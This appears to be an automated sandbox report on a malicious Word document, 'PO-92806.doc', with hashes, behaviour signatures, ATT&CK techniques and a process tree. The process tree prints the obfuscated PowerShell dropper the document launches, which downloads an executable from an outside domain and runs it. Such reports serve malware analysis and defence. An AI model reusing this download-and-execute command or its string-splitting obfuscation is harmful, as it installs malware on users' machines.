2d09d531585e0afae401ef184feb3ac79e6526f113451f33f383d75e499b5f5b

Analysis

max time kernel
142s
max time network
131s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
13/09/2022, 06:14

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General

Target

PO-92806.doc
Size

545KB
MD5

d9cef6aac1d3526d4fe0343530e5a510
SHA1

5240c8ce9ffddd70303a141c7daa9c9c7a66f901
SHA256

2d09d531585e0afae401ef184feb3ac79e6526f113451f33f383d75e499b5f5b
SHA512

ef4a6d5f1093235ea1d359fd199723a66be9cf3f027bfaf236e2f87f3332ee5a1a25f546c71ecccd1a45bd9e240e6476eeaa6745a053368d842c7ae6d48f8119
SSDEEP

6144:SwpxoQL1U6ewpflmAXw/cDzTCYAfEoXYT7Wj2aBwoXYT7Wj2aBwoXYZaI:rpyf6RhjBg0g01

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4020	3604	powershell.exe	81

Blocklisted process makes network request 1 IoCs

flow	pid	Process
43	4020	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3604	WINWORD.EXE
3604	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4020	powershell.exe
4020	powershell.exe
4020	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4020	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3604	WINWORD.EXE
3604	WINWORD.EXE
3604	WINWORD.EXE
3604	WINWORD.EXE
3604	WINWORD.EXE
3604	WINWORD.EXE
3604	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3604 wrote to memory of 4020	3604	WINWORD.EXE	93
PID 3604 wrote to memory of 4020	3604	WINWORD.EXE	93

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO-92806.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $MMMMMM='C:\Users\'+ $env:UserNaMe +'\AppData\media.exe';((n`e`W`-obj`e`c`T (('N'+'e'+'t'+'.'+'W'+'e'+'b'+'c'+'l'+'i'+'e'+'n'+'t'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'F'+'i'+'l'+'e')).invoke((('https://gallagherseals.ml/doc/WENOZPXNFQ.exe ',$MMMMMM))));Invoke-Item $MMMMMM
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4020

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3604-140-0x000001CEBF150000-0x000001CEBF154000-memory.dmp

Filesize
16KB

Download
memory/3604-146-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Filesize
64KB

Download
memory/3604-133-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Filesize
64KB

Download
memory/3604-135-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Filesize
64KB

Download
memory/3604-136-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Filesize
64KB

Download
memory/3604-137-0x00007FFA94040000-0x00007FFA94050000-memory.dmp

Filesize
64KB

Download
memory/3604-138-0x00007FFA94040000-0x00007FFA94050000-memory.dmp

Filesize
64KB

Download
memory/3604-149-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Filesize
64KB

Download
memory/3604-134-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Filesize
64KB

Download
memory/3604-148-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Filesize
64KB

Download
memory/3604-132-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Filesize
64KB

Download
memory/3604-147-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Filesize
64KB

Download
memory/4020-144-0x00007FFAA98E0000-0x00007FFAAA3A1000-memory.dmp

Filesize
10.8MB

Download
memory/4020-142-0x00007FFAA98E0000-0x00007FFAAA3A1000-memory.dmp

Filesize
10.8MB

Download
memory/4020-143-0x00007FFAA98E0000-0x00007FFAAA3A1000-memory.dmp

Filesize
10.8MB

Download
memory/4020-141-0x000002176D030000-0x000002176D052000-memory.dmp

Filesize
136KB

Download